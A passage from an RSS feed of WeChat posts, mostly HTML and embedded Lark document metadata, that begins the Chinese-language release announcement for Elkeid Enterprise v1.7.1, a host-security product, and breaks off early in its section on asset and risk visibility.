oxcn08KmWswcqyqYU1L02FhOse&#34;:{&#34;level&#34;:1},&#34;doxcnEY6Cqq2QuMEE6FPeJ4Q02d&#34;:{&#34;level&#34;:1},&#34;doxcng6ESEsAIewQErFiOoS19cE&#34;:{&#34;level&#34;:1},&#34;doxcnoAW2mgswWmKEcfeX7cBoTd&#34;:{&#34;level&#34;:1},&#34;doxcnS0QE0WM8Ek2I0Wpg9iCH4f&#34;:{&#34;level&#34;:1},&#34;doxcncGwa00aYgIW4AnvrJBHmGc&#34;:{&#34;level&#34;:1},&#34;doxcnu84Agm8q0CwktvH9doV8qj&#34;:{&#34;level&#34;:1},&#34;doxcna4WIEyoQAgieSCf3pkzmzh&#34;:{&#34;level&#34;:1},&#34;doxcnygY2KmOAAmgugH1u9Gzofe&#34;:{&#34;level&#34;:1},&#34;doxcnasYoOyaQs0MYa8Wn2eU2sg&#34;:{&#34;level&#34;:1},&#34;doxcnEiGc26eGmgOYk6D8xdhRvq&#34;:{&#34;level&#34;:1},&#34;doxcnI60Gwiyw4CieohY5ovt3Xd&#34;:{&#34;level&#34;:1},&#34;doxcnIgqSAI2Mckgec3Un43yKHb&#34;:{&#34;level&#34;:1},&#34;doxcnOeuSQcisQ2ouUNQYb0MTid&#34;:{&#34;level&#34;:1},&#34;doxcnSw8k04qkeGsK4qxklmsehc&#34;:{&#34;level&#34;:1},&#34;doxcn8ke8uKyYYiioqkHzh6QA4d&#34;:{&#34;level&#34;:1},&#34;doxcnooIEwmOGKmgYsLqBDkB34g&#34;:{&#34;level&#34;:1},&#34;doxcnIk2ksos0sqqk1uUWmzfGJH&#34;:{&#34;level&#34;:1},&#34;doxcnekgoosO0eSK2KGv51SJJoh&#34;:{&#34;level&#34;:1},&#34;doxcnoiaGwsSIssAUkTeKVxwf2f&#34;:{&#34;level&#34;:1},&#34;doxcniEyagY266cWA4KeudN0YMd&#34;:{&#34;level&#34;:1},&#34;doxcnM8IoeMw8e0my0CBNsMszXe&#34;:{&#34;level&#34;:1},&#34;doxcnAciQK8WSmaiEugIikcFjwc&#34;:{&#34;level&#34;:1},&#34;doxcnMQ0guCks0sG4LUdX7nZSC7&#34;:{&#34;level&#34;:1},&#34;doxcneOWkko0AgAmWcXiT8eTfvc&#34;:{&#34;level&#34;:1},&#34;doxcneym6eCOwA0oiEpZBBvnyib&#34;:{&#34;level&#34;:1},&#34;doxcnkyGWg8AAW0CC8v5zGEp3vB&#34;:{&#34;level&#34;:1},&#34;doxcnakmuEG8Qe42go1rphYUy8f&#34;:{&#34;level&#34;:1},&#34;doxcnOQs2YQ2yym2giYTVgH3kkf&#34;:{&#34;level&#34;:1},&#34;doxcnssmyw088GGkuOIbOCDUdDe&#34;:{&#34;level&#34;:1},&#34;doxcnWeagImWUawayoPJt8by2Ne&#34;:{&#34;level&#34;:1},&#34;doxcne08OeMEOk8QEGAtJZNGi3d&#34;:{&#34;level&#34;:1},&#34;doxcn2oWIMmK4Qu0K44SboILQaf&#34;:{&#34;level&#34;:1},&#34;doxcniqS8emIgWCoayK8GLac2fB&#34;:{&#34;level&#34;:1},&#34;doxcnMeYi2uuUeCcQcpRNSnyRyd&#34;:{&#34;level&#34;:1},&#34;doxcn6aMIuQcaSeIciEL48UWwxd&#34;:{&#34;level&#34;:1},&#34;doxcnK2OqKqS4cW8MG2VQ9WYxmh&#34;:{&#34;level&#34;:1},&#34;doxcniIEGoOeKoiKiIPyhx1ccge&#34;:{&#34;level&#34;:1},&#34;doxcnYQ48KCW4WeKcsBr0OzcIgf&#34;:{&#34;level&#34;:1},&#34;doxcnocye2Iq4Miiyc1oOGoskgf&#34;:{&#34;level&#34;:1},&#34;doxcnMUmwkEg4cKicwSTUkyX8db&#34;:{&#34;level&#34;:1},&#34;doxcng8Ugsooc2KEsUtQ8apUOKg&#34;:{&#34;level&#34;:1},&#34;doxcnaeimK48yUC4OAv0gmuIAxg&#34;:{&#34;level&#34;:1},&#34;doxcnC8yeO4owQWSEMHnZpSZiTg&#34;:{&#34;level&#34;:1},&#34;doxcnuQm0WmCcUWYo47bGy91jqf&#34;:{&#34;level&#34;:1},&#34;doxcnMOyUm8kcY2YwUT9rz3Jpwh&#34;:{&#34;level&#34;:1},&#34;doxcnGmoUUeWKsMMukN2VPrgDNc&#34;:{&#34;level&#34;:1},&#34;doxcn4OMYaeIYW8KCY3lIvXMDvf&#34;:{&#34;level&#34;:1},&#34;doxcnYMWYOICwuCeUqqKOPJcsMg&#34;:{&#34;level&#34;:1},&#34;doxcn8Ae2Yg2YskmK43PikOOkph&#34;:{&#34;level&#34;:1},&#34;doxcnQW6gouWiMMmGCAW99F2Cof&#34;:{&#34;level&#34;:1},&#34;doxcngg8KqeKECiacBBrhJ4bEjW&#34;:{&#34;level&#34;:1},&#34;doxcnWSAGuU4OOmiWmGl2rimrnb&#34;:{&#34;level&#34;:1},&#34;doxcn4E24kIcw62uk6cEbQlSzab&#34;:{&#34;level&#34;:1},&#34;doxcnwG6mSEO60G8QuyHIkk61Re&#34;:{&#34;level&#34;:1},&#34;doxcns4cqYIi06mga0scX5Fg7UX&#34;:{&#34;level&#34;:1},&#34;doxcngM4aKE8SSsc68XvcSt9gEh&#34;:{&#34;level&#34;:1},&#34;doxcnGA4Y2qaYemYUvVSaBGmzrg&#34;:{&#34;level&#34;:1},&#34;doxcnEK6w8m8Koewg4Y1BZZhV2c&#34;:{&#34;level&#34;:1},&#34;doxcnwSwsekOeSs2cmYUiicvVec&#34;:{&#34;level&#34;:1},&#34;doxcnYicO0yOWqOyYkb22NrqtRh&#34;:{&#34;level&#34;:1},&#34;doxcnCCi82wsuwOg48vpAkgtlFg&#34;:{&#34;level&#34;:1},&#34;doxcnMSEugakmAaEYSmFjJqXPdf&#34;:{&#34;level&#34;:1},&#34;doxcnIUIuY4iOUUY0cNbhCTeCLh&#34;:{&#34;level&#34;:1},&#34;doxcnoGwuKgMUiy82sn6RHzbN2d&#34;:{&#34;level&#34;:1},&#34;doxcnKweY6EGOcIqEANxnTD1qIh&#34;:{&#34;level&#34;:1},&#34;doxcnAoawsgEooecimcmSFeVake&#34;:{&#34;level&#34;:1},&#34;doxcnKuEokq262Kk46MQnByEIYg&#34;:{&#34;level&#34;:1},&#34;doxcnM8SYWs4oWqWwoJKsyfaqme&#34;:{&#34;level&#34;:1},&#34;doxcnmEQ00AiYQ8gMAfRN7AA78O&#34;:{&#34;level&#34;:1},&#34;doxcnSQuaYC86AI0Cm0T3N2oKrh&#34;:{&#34;level&#34;:1},&#34;doxcnaC6CGemoyO6iYZJyrxGw6d&#34;:{&#34;level&#34;:1},&#34;doxcnsMC8OQkO6OQaSitz6soPah&#34;:{&#34;level&#34;:1},&#34;doxcnIgKC2oWYgkQsaAp5hcDepg&#34;:{&#34;level&#34;:1},&#34;doxcnQIoW6UAeec0GYVRUu4EOzc&#34;:{&#34;level&#34;:1},&#34;doxcncKK48ewmoyoI4pdHhBA4Mg&#34;:{&#34;level&#34;:1},&#34;doxcnSQ4Se2ECIciykpQ7zMMFHS&#34;:{&#34;level&#34;:1},&#34;doxcn8YGiwYgaEca2QlThvln6wg&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: left;"><br/></p>



<p><a href="2247484258">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fedae51f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484258%26idx%3D1%26sn%3D692ba3f0d1930526592dd7bdceeb781f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 25 Apr 2022 09:57:00 +0800</pubDate>
    </item>
    <item>
      <title>Elkeid 企业版 v1.7.1 正式发布</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484252&amp;idx=1&amp;sn=20b194dc29141134c52809dec51dd690</link>
      <description>Elkeid 企业版 v1.7.1 正式发布</description>
      <content:encoded><![CDATA[<p>
原创 <span>Elkeid Team</span> <span>2022-04-21 15:47</span> <span style="display: inline-block;"></span>
</p>

<p>Elkeid 企业版 v1.7.1 正式发布</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1e34f4c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCd5wm0h9cElcIl1UNVEQcTGGKegUGf0LiavGAq9r2Dtqpb7VfDfZ7NVw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io">Elkeid 经过多个版本的迭代打磨，现正式对外发布我们的第一个企业版本。</p><p><br/></p><p>Elkeid 是一个主机安全解决方案，通过该方案可以一站式解决的企业生产环境内服务器的安全问题，相较于传统的主机安全类产品，Elkeid 更开放，更强大。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;22e4d1d6-2ee0-498c-9a26-7393d2df6700&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:0,&#34;end&#34;:1,&#34;blockIds&#34;:[2,3],&#34;recordIds&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;],&#34;recordMap&#34;:{&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;:{&#34;id&#34;:&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid Team 经过多个版本的迭代打磨，现正式对外发布我们的第一个企业版本。&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+v*1+4*0+7&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]},&#34;nextNum&#34;:2}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;:{&#34;id&#34;:&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+24&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 是一个主机安全解决方案，通过该方案可以一站式解决的企业生产环境内服务器的安全问题，相较于传统的主机安全产品，Elkeid 更开放，更强大。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;:{&#34;level&#34;:1},&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid=""><strong style="font-size: 18px;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">一. 主机安全的需求是什么</strong></p><br/><p><br/></p></section></section></section></section></section><p><br mpa-from-tpl="t"/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>资产/风险可视</strong></p></li></ul><p>我们的服务器上有哪些组件与依赖？有哪些存在漏洞？高危害的占比多少？</p><p>这些问题相信在安全团队内出现的频率一直没有降低过，并且随着多云/混合云/容器化的生长，带来的这类对资产可视的需求也越来越复杂。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:5,&#34;end&#34;:7,&#34;blockIds&#34;:[7,8,9],&#34;recordIds&#34;:[&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;],&#34;recordMap&#34;:{&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;:{&#34;id&#34;:&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;bold&#34;,&#34;true&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+7&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;资产/风险可视&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;:{&#34;id&#34;:&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[&#34;7088597581613318146&#34;],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;comment-id-7088597581613318146&#34;,&#34;true&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+g*0*1+8*0+9&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;我们的服务器上有哪些组件与依赖？有哪些存在漏洞？高危害的占比多少？&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;:{&#34;id&#34;:&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;3b65e2f5-db24-4367-b717-a6cc1057458b\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_50829108\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+w*1*0+3*0+s&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;这些问题相信在安全团队内出现的频率一直没有降低过，并且随着多云/混合云/容器化的生长，带来的这类对资产可视的需求也越来越复杂。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2G